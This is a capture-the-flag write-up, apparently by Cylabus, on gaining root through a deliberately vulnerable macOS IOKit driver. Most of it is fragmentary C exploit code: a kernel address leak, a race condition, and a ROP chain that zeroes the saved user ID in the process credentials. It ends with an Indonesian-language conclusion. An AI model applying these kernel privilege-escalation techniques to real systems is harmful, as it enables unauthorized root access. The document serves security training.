#define push_rcx_jmp_qword_ptr_rsi_plus_0x66 slide+0xffffff8000a984e1 // push rcx ; out dx, eax ; jmp qword ptr [rsi + 0x66]
#define pop_rcx slide+0xffffff800034fb88
#define mov_rdi_rax_pop_rbp_jmp_rcx slide+0xffffff8000364001
#define ret slide+0xffffff8000335311
#define pop_r14_r15 slide+0xffffff8000352176
#define pop_rsp_r13_r14_r15 slide+0xffffff8000352173
#define mov_qword_rcx_rax_pop_rbp slide+0xffffff800037a86e // mov qword ptr [rcx], rax ; pop rbp ; ret
#define mov_rsi_rax_spoil_rax_pop_rbp_ret 0xffffff8000536392+slide // mov rsi, rax ; sub rax, rsi ; pop rbp ; ret
#define pop_rdi 0xFFFFFF8000334E74+slide
#define pop_rdx 0xFFFFFF80006FF654+slide
#define pop_r8_eax_spoil 0xffffff80004db621+slide // pop r8 ; add eax, 0x5d000000 ; ret
#define add_rsi_rcx_mov_rax_rsi_pop_rbp 0xffffff80009ce25d+slide // 0xffffff80009ce25d : add rsi, rcx ; mov rax, rsi ; pop rbp ; ret
#define mov_dword_ptr_rsi_r8d_pop_rbp 0xffffff8000474e08+slide// 0xffffff8000474e08 : mov dword ptr [rsi], r8d ; pop rbp ; ret
// Existing kernel functions
#define current_thread slide+0xFFFFFF80004D1ED0
#define current_proc slide+0xFFFFFF8000989860
#define proc_ucred slide+0xFFFFFF80008556B0
#define pmap_ro_zone_atomic_op slide+0xFFFFFF80004B0410
#define thread_exception_return slide+0xFFFFFF8000334DCA
#define debug_gadget 0xffffff800033620a+slide
#define addr_save_loc 0xFFFFFF8000C18000+slide
#define eb_fe 0xFFFFFF800037E726+slide
// Helper method during debugging
void print_data(char *buf, size_t len) {
for (int i = 0; i < len; i += 8) {
fmt_str = "0x%04x: 0x%016lx";
printf(fmt_str, i, *(unsigned long*)&buf[i]);
printf(fmt_str, *(unsigned long*)&buf[i]);
fp = popen("kextstat 2>/dev/null | grep BabyKitDriver | awk '{print $3}'","r");
printf("Failed to get KEXT address!\n");
fgets(line, sizeof(line)-1, fp);
uint64_t addr = (uint64_t) strtoul(line, NULL, 16);
void baby_read(void *buf, unsigned long size) {
unsigned long args[2] = { (unsigned long)buf, size };
IOConnectCallScalarMethod(connection,kBabyRead,(const uint64_t*)args,2,0,0);
void leave_message(unsigned long msg_type, void *buf, unsigned long size) {
unsigned long args[3] = { msg_type, (unsigned long)buf, size };
IOConnectCallScalarMethod(connection,kLeaveMessage,(const uint64_t*)args,3,0,0);
void babyKitConnect(io_connect_t *connection) {
io_service_t serviceObject;
CFDictionaryRef classToMatch;
classToMatch = IOServiceMatching(kIOKitClassName);
if (classToMatch == NULL) {
printf("IOServiceMatching returned a NULL dictionary\n");
serviceObject = IOServiceGetMatchingService(kIOMainPortDefault, classToMatch);
if (!MACH_PORT_VALID(serviceObject)) {
printf("IOServiceGetMatchingService failed\n");
kr = IOServiceOpen(serviceObject, mach_task_self(), 0, connection);
IOObjectRelease(serviceObject);
if (kr != KERN_SUCCESS) {
printf("IOServiceOpen returned %d\n", kr);
for (int i = 0; i < loop_end; i++) {
leave_message(0, ropChain, 0x100);
Without fork, when we return from the kernel to userland, it will killed
the process. We need to fork() first in the beginning, so that parent and child
- Child process will do the exploit, which will overwrite the cr_svuid to 0 (which will be killed).
- Parent process will sleep first, waiting until the child process overwrite the shared cred struct svuid to 0,
then do seteuid(0), setuid(0), setgid(0) so that it will become root.
babyKitConnect(&connection);
Get leak with the first bug (setting size to 0 will trigger OOB read)
memset(buf, 0x41, sizeof(buf));
leave_message(1, buf, 0x200);
memset(buf, 0x0, sizeof(buf));
uint64_t leaked = *(unsigned long*)&buf[0x318];
uint64_t kext_base = leaked - 0x1808;
slide = kext_base - GetKextAddr() + 0xdc000;
kbase = KERNEL_BASE_NO_SLID + slide;
printf("[*] Kext Base : 0x%llx\n", kext_base);
printf("[*] Kernel Text Base: 0x%llx\n", kbase);
printf("[*] Kernel Slide : 0x%llx\n", slide);
chain = (uint64_t*)&ropChain[0x0];
// Start at chunk+0x8 in driver. When the race is triggered,
// chunk+0x8 will be called, which will pivot the stack to this
// chunk and do ROP Chain.
*chain++ = push_rcx_jmp_qword_ptr_rsi_plus_0x66; // rsi+0x66 will contains gadget to pivot stack to this heap chunk
*chain++ = 0x0; // chunk+0x10 won't be used
// Our ROP will start here after stack pivot with pop rsp; pop r13; pop r14; pop r15;
// , where popped rsp value will be chunk+0x0, so the ROP chain will start at chunk+0x18
// We will try to perform
// pmap_ro_zone_atomic_op(ZONE_ID_KAUTH_CRED, proc_ucred(current_proc()), 0x20, ZRO_ATOMIC_AND_32, 0);
// , which will update the cred->cr_svuid
*chain++ = mov_rdi_rax_pop_rbp_jmp_rcx;
*chain++ = 0x4141414141414141;
// We will continue the ROP Chain at 0x80 just for convenience
// Need to do this because:
// - rsi points to chunk+0x10
// - there will be jmp qword ptr [rsi+0x66], which mean we need to put
// So what we do here is we reserve 0x10 bytes starting from chunk+0x70
*chain++ = 0x4141414141414141;
*chain++ = 0x4141414141414141;
// Overwrite chunk+0x76 to pivot stack gadget
uint64_t* chunk_0x76 = (uint64_t*)&ropChain[0x76 - 8];
*chunk_0x76 = pop_rsp_r13_r14_r15;
// *chain++ = addr_save_loc;
// *chain++ = mov_qword_rcx_rax_pop_rbp;
// *chain++ = 0x4141414141414141;
// rax still contains the ucred (returned from proc_ucred)
*chain++ = mov_rsi_rax_spoil_rax_pop_rbp_ret;
*chain++ = 0x4141414141414141;
*chain++ = 7; // ZONE_ID_KAUTH_CRED
*chain++ = 0x34; // ZRO_ATOMIC_AND_32
*chain++ = pop_r8_eax_spoil;
// Call pmap_ro_zone_atomic_op
*chain++ = pmap_ro_zone_atomic_op;
// Now, during working on this challenge, we found out that we
// couldn't return to userland because there is panic due to rwlock_count is 1.
// We will overwrite it to 0 before return to userland.
*chain++ = current_thread;
*chain++ = mov_rsi_rax_spoil_rax_pop_rbp_ret;
*chain++ = 0x4141414141414141;
*chain++ = 0x44C; // offset for rwlock_count
// Points rsi to rwlock_count
*chain++ = add_rsi_rcx_mov_rax_rsi_pop_rbp;
*chain++ = 0x4141414141414141;
*chain++ = pop_r8_eax_spoil;
// Overwrite rwlock_count to 0
*chain++ = mov_dword_ptr_rsi_r8d_pop_rbp;
*chain++ = 0x4141414141414141;
*chain++ = thread_exception_return;
// Store ROPChain in heap chunk
leave_message(1, &ropChain[0x8], 0x200);
- Create a new thread which will call leave_message(0, ropChain, 0x100);
- In the mainthread, keep calling leave_message(1, ropChain+0x8, 0x200);
- yet, the chunk+0x8 is not output2, but the gadget that we write via leave_message(0) in the other thread
pthread_create(&th, NULL, race, NULL);
memset(test, 0, sizeof(test));
for (int i = 0; i < loop_end; i++) {
leave_message(1, &ropChain[0x8], 0x200);
// Race will be triggered in baby_read
// If it is triggered, the shared cred between this child process and parent process
// will have svuid set to 0, and the parent can become a root.
// Parent process, will sleep first to wait the child overwriting the shared cred
memset(buf, 0, sizeof(buf));
Seperti yang Anda lihat, kita berhasil melakukan Local Privilege Escalation dengan mengeksploitasi driver yang rentan dan dapat memperoleh file flag meskipun kita bukan user root.
Sebagai penutup analisis driver BabyIOKit, kita melihat betapa berharganya latihan keamanan siber ini. Latihan ini tak hanya meningkatkan keterampilan teknis, tapi juga memperdalam pemahaman kita tentang kerentanan sistem. Pengalaman ini menekankan perlunya kewaspadaan dan inovasi dalam strategi keamanan, adaptasi dengan evolusi ancaman digital. Wawasan ini sangat penting, tidak hanya untuk tantangan saat ini tetapi sebagai dasar keamanan siber yang lebih kuat.
Di Cylabus, kami memandang tantangan ini sebagai kesempatan untuk belajar, berkembang, dan berkontribusi pada masa depan digital yang lebih aman untuk semua orang.
Selain itu, jika Anda membutuhkan konsultasi terkait keamanan siber, blockchain, atau AI, jangan ragu untuk menghubungi kami di Cylabus. Dengan tim ahli yang berpengalaman, kami siap memberikan solusi dan panduan terbaik untuk memastikan keamanan digital Anda dan membantu Anda berinovasi di era teknologi yang berkembang pesat ini.